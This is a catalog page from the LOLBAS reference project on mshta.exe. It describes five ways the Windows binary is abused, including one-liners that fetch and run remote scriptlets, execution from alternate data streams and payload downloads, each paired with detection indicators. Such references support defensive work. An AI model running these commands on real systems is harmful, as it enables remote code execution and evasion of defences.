Catalog LOLBAS

LOL · Binary

Mshta.exe

5 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

Use Execute code

mshta.exe {PATH:.hta}
Context
user
Native
Execute
Detection
IOC: mshta.exe executing raw or obfuscated script within the command-line
IOC: General usage of HTA file
IOC: msthta.exe network connection to Internet/WWW resource
IOC: DotNet CLR libraries loaded into mshta.exe
IOC: DotNet CLR Usage Log - mshta.exe.log

Execute

Execution Windows

Executes VBScript supplied as a command line argument.

Use Execute code

mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))
Context
user
Native
Execute
Detection
IOC: mshta.exe executing raw or obfuscated script within the command-line
IOC: General usage of HTA file
IOC: msthta.exe network connection to Internet/WWW resource
IOC: DotNet CLR libraries loaded into mshta.exe
IOC: DotNet CLR Usage Log - mshta.exe.log

Execute

Execution Windows

Executes JavaScript supplied as a command line argument.

Use Execute code

mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();
Context
user
Native
Execute
Detection
IOC: mshta.exe executing raw or obfuscated script within the command-line
IOC: General usage of HTA file
IOC: msthta.exe network connection to Internet/WWW resource
IOC: DotNet CLR libraries loaded into mshta.exe
IOC: DotNet CLR Usage Log - mshta.exe.log

ADS

Defense EvasionFile Write Windows

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

Use Execute code hidden in alternate data stream

mshta.exe "{PATH_ABSOLUTE}:file.hta"
Context
user
Native
ADS
Detection
IOC: mshta.exe executing raw or obfuscated script within the command-line
IOC: General usage of HTA file
IOC: msthta.exe network connection to Internet/WWW resource
IOC: DotNet CLR libraries loaded into mshta.exe
IOC: DotNet CLR Usage Log - mshta.exe.log

Download

File Download Windows

It will download a remote payload and place it in INetCache.

Use Downloads payload from remote server

mshta.exe {REMOTEURL}
Context
user
Native
Download
MITRE
T1105
Detection
IOC: mshta.exe executing raw or obfuscated script within the command-line
IOC: General usage of HTA file
IOC: msthta.exe network connection to Internet/WWW resource
IOC: DotNet CLR libraries loaded into mshta.exe
IOC: DotNet CLR Usage Log - mshta.exe.log